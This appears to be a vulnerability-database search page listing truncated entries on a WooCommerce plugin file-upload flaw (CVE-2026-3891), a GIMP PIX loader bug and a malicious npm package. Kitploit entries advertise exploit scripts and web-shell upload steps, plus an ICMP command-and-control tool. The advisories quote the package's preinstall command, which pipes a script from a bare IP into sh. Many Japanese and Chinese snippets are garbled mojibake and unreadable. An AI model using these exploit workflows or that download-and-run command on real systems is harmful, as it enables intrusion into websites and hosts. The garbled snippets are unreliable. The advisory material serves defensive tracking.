Lucene search
+L

630 matches found

Kitploit
Kitploit
โ€ขadded 2026/09/12 2:15 p.m.โ€ข6 views

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit

CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit ๐Ÿ›ก๏ธ ่ชฌๆ˜Ž CVE-2026-3891 ใฏใ€Pix for WooCommerce WordPress ใƒ—ใƒฉใ‚ฐใ‚คใƒณใฎ 1.5.0 ไปฅๅ‰ ใฎใƒใƒผใ‚ธใƒงใƒณใซๅญ˜ๅœจใ™ใ‚‹ใ€้‡ๅคงใช ๆœช่ช่จผใฎไปปๆ„ใƒ•ใ‚กใ‚คใƒซใ‚ขใƒƒใƒ—ใƒญใƒผใƒ‰ ่„†ๅผฑๆ€งใงใ™ใ€‚ ใ“ใฎ่„†ๅผฑๆ€งใฏใ€lknpixforwoocommercec6savesettings ๆฉŸ่ƒฝใซๅญ˜ๅœจใ—ใ€่ชๅฏๅˆถๅพกใฎๆฌ ๅฆ‚ใจไธๅๅˆ†ใชใƒ•ใ‚กใ‚คใƒซใ‚ฟใ‚คใƒ—ๆคœ่จผใŒๅŽŸๅ› ใงใ™ใ€‚ใ“ใฎใ‚จใ‚ฏใ‚นใƒ—ใƒญใ‚คใƒˆใฏใ€ๆœ‰ๅŠนใช nonce ใ‚’ๅ–ๅพ—ใ—ใ€Web ใ‹ใ‚‰ใ‚ขใ‚ฏใ‚ปใ‚นๅฏ่ƒฝใชใƒ‡ใ‚ฃใƒฌใ‚ฏใƒˆใƒชใธใฎ PHP...

9.8CVSS5.8AI score0.2506EPSS
SaveExploits13
Kitploit
Kitploit
โ€ขadded 2026/09/12 11:44 a.m.โ€ข6 views

PiX-C2

PiX-C2 ICMP C2 ใ‚ตใƒผใƒใƒผใ‚ขใƒ—ใƒชใ‚ฑใƒผใ‚ทใƒงใƒณ ไฝœ่€…: NoCow ใƒกใƒผใƒซ: [email protected] ICMP C2 ใƒ—ใƒญใ‚ธใ‚งใ‚ฏใƒˆ๏ผˆPiX-C2๏ผ‰ใฏใ€ICMP ใฎใฟใ‚’ไฝฟ็”จใ—ใฆใ‚ณใƒžใƒณใƒ‰ๅˆถๅพกใ‚’ๅฏ่ƒฝใซใ™ใ‚‹ใ‚ฏใƒฉใ‚คใ‚ขใƒณใƒˆ/ใ‚ตใƒผใƒใƒผใ‚ขใƒ—ใƒชใ‚ฑใƒผใ‚ทใƒงใƒณใงใ™ใ€‚ใ‚ตใƒผใƒใƒผใฏ ICMP ใƒ‘ใ‚ฑใƒƒใƒˆใ‚’ใ‚นใƒ‹ใƒƒใƒ•ใ‚ฃใƒณใ‚ฐใ—ใ€ICMP ใƒ‘ใ‚ฑใƒƒใƒˆใฎใƒ‡ใƒผใ‚ฟใƒšใ‚คใƒญใƒผใƒ‰ใ‹ใ‚‰ๆƒ…ๅ ฑใ‚’ๅ–ๅพ—ใ—ใพใ™ใ€‚ ้ฉๅˆ‡ใชใƒ‡ใƒผใ‚ฟใ‚’ๅ—ไฟกใ™ใ‚‹ใจใ€ใ‚ฏใƒฉใ‚คใ‚ขใƒณใƒˆใซใ‚ณใƒžใƒณใƒ‰ใŒ้€ไฟกใ•ใ‚Œใพใ™ใ€‚ใ‚ณใƒžใƒณใƒ‰ใฏ "run " ใงๅง‹ใพใ‚‹ๅฟ…่ฆใŒใ‚ใ‚Šใพใ™ใ€‚ใใฎไป–ใฎใ‚ตใƒผใƒใƒผใ‚ชใƒ—ใ‚ทใƒงใƒณใซใฏใ€sleepใ€sysinfo ใชใฉใŒใ‚ใ‚Šใ€ไปŠๅพŒ่ฟฝๅŠ ไบˆๅฎšใงใ™ใ€‚ ๅ‰ๆๆก...

5.8AI score
SaveExploits0
Kitploit
Kitploit
โ€ขadded 2026/09/12 8:00 a.m.โ€ข5 views

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce ใƒ—ใƒญใƒˆใ‚ณใƒซใŒ็„กใ„ๅ ดๅˆ โ†’ ใ‚นใ‚ฏใƒชใƒ—ใƒˆใŒ่‡ชๅ‹•็š„ใซ http:// ใ‚’่ฟฝๅŠ ใ—ใพใ™ 2๏ธโƒฃ ใ‚ทใ‚งใƒซใ‚’่ฟฝๅŠ  ใ‚ทใ‚งใƒซใƒ•ใ‚กใ‚คใƒซใ‚’ๅŒใ˜ใƒ‡ใ‚ฃใƒฌใ‚ฏใƒˆใƒชใซ้…็ฝฎ: root@kitploit: shell.php 3๏ธโƒฃ ใ‚จใ‚ฏใ‚นใƒ—ใƒญใ‚คใƒˆใ‚’ๅฎŸ่กŒ root@kitploit: python3 CVE-2026-3891.py 4๏ธโƒฃ ๅฏพ่ฉฑๅผๅ…ฅๅŠ› ใ‚นใ‚ฏใƒชใƒ—ใƒˆใŒๆฌกใฎ้ …็›ฎใ‚’ๅฐ‹ใญใพใ™: ใ‚ฟใƒผใ‚ฒใƒƒใƒˆใƒ•ใ‚กใ‚คใƒซ๏ผˆใƒ‡ใƒ•ใ‚ฉใƒซใƒˆ: list.txt๏ผ‰ ใ‚นใƒฌใƒƒใƒ‰ๆ•ฐ๏ผˆใƒ‡ใƒ•ใ‚ฉใƒซ...

9.8CVSS6AI score0.2506EPSS
SaveExploits13
Kitploit
Kitploit
โ€ขadded 2026/09/12 7:43 a.m.โ€ข7 views

CVE-2026-3891

Pix for WooCommerce = 1.5.0 - ่ช่จผใชใ—ไปปๆ„ใƒ•ใ‚กใ‚คใƒซใ‚ขใƒƒใƒ—ใƒญใƒผใƒ‰ CVE-2026-3891 PoC ๐Ÿ“œ ่ชฌๆ˜Ž CVE-2026-3891 ใฏใ€WordPress ใƒ—ใƒฉใ‚ฐใ‚คใƒณ Pix for WooCommerce ใซใŠใ‘ใ‚‹่ช่จผใชใ—ไปปๆ„ใƒ•ใ‚กใ‚คใƒซใ‚ขใƒƒใƒ—ใƒญใƒผใƒ‰ใฎ่„†ๅผฑๆ€งใงใ™ใ€‚ใ“ใฎใƒ—ใƒฉใ‚ฐใ‚คใƒณใฏใ€่ช่จผใชใ—ใง่จผๆ˜Žๆ›ธใƒ•ใ‚กใ‚คใƒซใฎใ‚ขใƒƒใƒ—ใƒญใƒผใƒ‰ใ‚’ๅ—ใ‘ไป˜ใ‘ใ‚‹ AJAX ใ‚จใƒณใƒ‰ใƒใ‚คใƒณใƒˆ lknpixforwoocommercec6savesettings ใ‚’ๅ…ฌ้–‹ใ—ใฆใ„ใพใ™ใ€‚nonce ใฏใ€ๅˆฅใฎๅ…ฌ้–‹ใ‚จใƒณใƒ‰ใƒใ‚คใƒณใƒˆ lknpixforwoocommercegeneratenonce...

9.8CVSS5.9AI score0.2506EPSS
SaveExploits13References1
Kitploit
Kitploit
โ€ขadded 2026/09/12 12:58 a.m.โ€ข7 views

CVE-2019-20326

CVE-2019-20326 GNOME gThumb ใŠใ‚ˆใณ Linux Mint Pix ใฏใ€cairoio ใƒขใ‚ธใƒฅใƒผใƒซใ‚’ไฝฟ็”จใ—ใฆ Cairo ใ‚ฐใƒฉใƒ•ใ‚ฃใƒƒใ‚ฏใ‚นใƒฉใ‚คใƒ–ใƒฉใƒชใงใ„ใใคใ‹ใฎ็”ปๅƒๅฝขๅผใ‚’่กจ็คบใ—ใพใ™ใ€‚gThumb ใƒใƒผใ‚ธใƒงใƒณ 3.8.3 ๆœชๆบ€ใ€ใŠใ‚ˆใณ Pix ใƒใƒผใ‚ธใƒงใƒณ 2.4.5 ๆœชๆบ€ใงใฏใ€cairoio ใฏๅน…ใพใŸใฏ้ซ˜ใ•ใŒ 32767 ใƒ”ใ‚ฏใ‚ปใƒซใ‚’่ถ…ใˆใ‚‹ JPEG ็”ปๅƒใ‚’ไป‹ใ—ใฆใƒ’ใƒผใƒ—ใƒใƒƒใƒ•ใ‚กใ‚ชใƒผใƒใƒผใƒ•ใƒญใƒผใซๅฏพใ—ใฆ่„†ๅผฑใงใ™ใ€‚ใ“ใฎ่„†ๅผฑๆ€งใฏใ€extensions/cairoio/cairo-image-surface-jpeg.c ใฎ้–ขๆ•ฐ...

7.8CVSS7.3AI score0.02149EPSS
SaveExploits2References1
Kitploit
Kitploit
โ€ขadded 2026/09/11 4:15 p.m.โ€ข12 views

CVE-2026-3891

๐Ÿš€ CVE-2026-3891 โ€“ Pix for WooCommerce ๆœช่ฎค่ฏๆ–‡ไปถไธŠไผ ่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒ๏ผˆRCE๏ผ‰ CVE-2026-3891 ็š„ๆฆ‚ๅฟต้ชŒ่ฏ๏ผˆPoC๏ผ‰ๆผๆดžๅˆฉ็”จ็จ‹ๅบ โ€“ ๅœจ Pix for WooCommerce WordPress ๆ’ไปถ๏ผˆโ‰ค 1.5.0๏ผ‰ไธญ๏ผŒๆœช่ฎค่ฏ็š„ไปปๆ„ๆ–‡ไปถไธŠไผ ๅฏๅฏผ่‡ด่ฟœ็จ‹ไปฃ็ ๆ‰ง่กŒใ€‚ ๐Ÿ“– ๆฆ‚่ฟฐ CVE-2026-3891 ๆ˜ฏ Pix for WooCommerce ๆ’ไปถไธญ็š„ไธ€ไธชไธฅ้‡ๆผๆดž๏ผŒๅฝฑๅ“ๆ‰€ๆœ‰็‰ˆๆœฌ็›ด่‡ณ 1.5.0 ใ€‚่ฏฅๆ’ไปถๆœช่ƒฝๅœจๅ…ถ AJAX ๅค„็†ๅ™จ lknpixforwoocommercec6savesettings...

9.8CVSS6AI score0.2506EPSS
SaveExploits13References4
Nuclei
Nuclei
โ€ขadded 2026/09/11 5:22 a.m.โ€ข25 views

Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload

The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lknpixforwoocommercec6savesettings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated...

9.8CVSS6.2AI score0.2506EPSS
SaveExploits13References2
Kitploit
Kitploit
โ€ขadded 2026/09/09 4:23 p.m.โ€ข6 views

CVE-2026-3891-Linux

root@kitploit: โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•”โ•โ•โ•โ•โ• โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ•โ• โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•‘ โ•šโ•โ• โ•šโ•โ• โ•šโ•โ•โ•šโ•โ•โ•šโ•โ•โ•โ•โ•โ•โ•โ•šโ•โ•...

9.8CVSS5.8AI score0.2506EPSS
SaveExploits13
Kitploit
Kitploit
โ€ขadded 2026/09/07 8:37 p.m.โ€ข9 views

CVE-2026-3891

CVE-2026-3891 โ€” Pix for WooCommerce ่ช่จผใชใ—ใƒ•ใ‚กใ‚คใƒซใ‚ขใƒƒใƒ—ใƒญใƒผใƒ‰ RCE Nonce ใƒชใƒผใ‚ฏ โ†’ certificatecrtpath ใ‚ขใƒƒใƒ—ใƒญใƒผใƒ‰ โ†’ ใ‚ณใƒผใƒ‰ๅฎŸ่กŒ ๆฆ‚่ฆ CVE-2026-3891 ใฏใ€Pix for WooCommerce WordPress ใƒ—ใƒฉใ‚ฐใ‚คใƒณ๏ผˆlinknacional ่ฃฝ๏ผ‰ใƒใƒผใ‚ธใƒงใƒณ โ‰ค 1.5.0 ใซใŠใ‘ใ‚‹ใ€CVSS 9.8 ใฎ้‡ๅคงๅบฆใ‚’ๆŒใค่ช่จผใชใ— ใฎไปปๆ„ใƒ•ใ‚กใ‚คใƒซใ‚ขใƒƒใƒ—ใƒญใƒผใƒ‰่„†ๅผฑๆ€งใงใ™ใ€‚ lknpixforwoocommercec6savesettings AJAX ใƒใƒณใƒ‰ใƒฉใƒผใซใฏใ€ไปฅไธ‹ใฎๅ•้กŒใŒใ‚ใ‚Šใพใ™๏ผš 1...

9.8CVSS5.8AI score0.2506EPSS
SaveExploits13
OSV
OSV
โ€ขadded 2026/08/28 11:01 p.m.โ€ข12 views

MAL-2026-15507 Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

6.1AI score
SaveExploits0References2
OSSF Malicious Packages
OSSF Malicious Packages
โ€ขadded 2026/08/28 11:01 p.m.โ€ข20 views

Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

6.1AI score
SaveExploits0References2
Tenable Nessus
Tenable Nessus
โ€ขadded 2026/08/25 12:00 a.m.โ€ข8 views

Linux Distros Unpatched Vulnerability : CVE-2026-78475

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the...

6.1CVSS5.8AI score0.00184EPSS
SaveExploits0References4
NVD
NVD
โ€ขadded 2026/08/24 6:17 p.m.โ€ข9 views

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS0.00184EPSS
SaveExploits0References3
UbuntuCve
UbuntuCve
โ€ขadded 2026/08/24 6:17 p.m.โ€ข10 views

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.7AI score0.00184EPSS
SaveExploits0References2
OSV
OSV
โ€ขadded 2026/08/24 6:17 p.m.โ€ข7 views

UBUNTU-CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.7AI score0.00184EPSS
SaveExploits0References3
EUVD
EUVD
โ€ขadded 2026/08/24 5:20 p.m.โ€ข8 views

EUVD-2026-65004

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.4AI score0.00184EPSS
SaveExploits0References3
CVE
CVE
โ€ขadded 2026/08/24 5:20 p.m.โ€ข25 views

CVE-2026-78475

A flaw in the file-pix (ESM) plugin in GIMP occurs when processing a specially crafted PIX image file. The plugin allocates a Variable-Length Array (VLA) on the stack without proper bounds checking, resulting in an unbounded stack allocation followed by a 21-byte stack over-read . This can cause ...

6.1CVSS5.3AI score0.00184EPSS
SaveExploits0References3Affected Software1
Cvelist
Cvelist
โ€ขadded 2026/08/24 5:20 p.m.โ€ข38 views

CVE-2026-78475 Gimp: unbounded stack vla and 21-byte stack over-read in pix (esm) loader

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS0.00184EPSS
SaveExploits0References3
Vulnrichment
Vulnrichment
โ€ขadded 2026/08/24 5:20 p.m.โ€ข9 views

CVE-2026-78475 Gimp: unbounded stack vla and 21-byte stack over-read in pix (esm) loader

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.4AI score0.00184EPSS
SaveExploits0References3
Debian CVE
Debian CVE
โ€ขadded 2026/08/24 5:20 p.m.โ€ข8 views

CVE-2026-78475

A flaw was found in the file-pix ESM plugin in GIMP. When processing a specially crafted PIX image file, the plugin allocates a Variable-Length Array VLA on the stack without proper bounds checking, causing an unbounded stack allocation followed by a 21-byte stack over-read. This can result in a...

6.1CVSS5.3AI score0.00184EPSS
SaveExploits0
Rows per page
Query Builder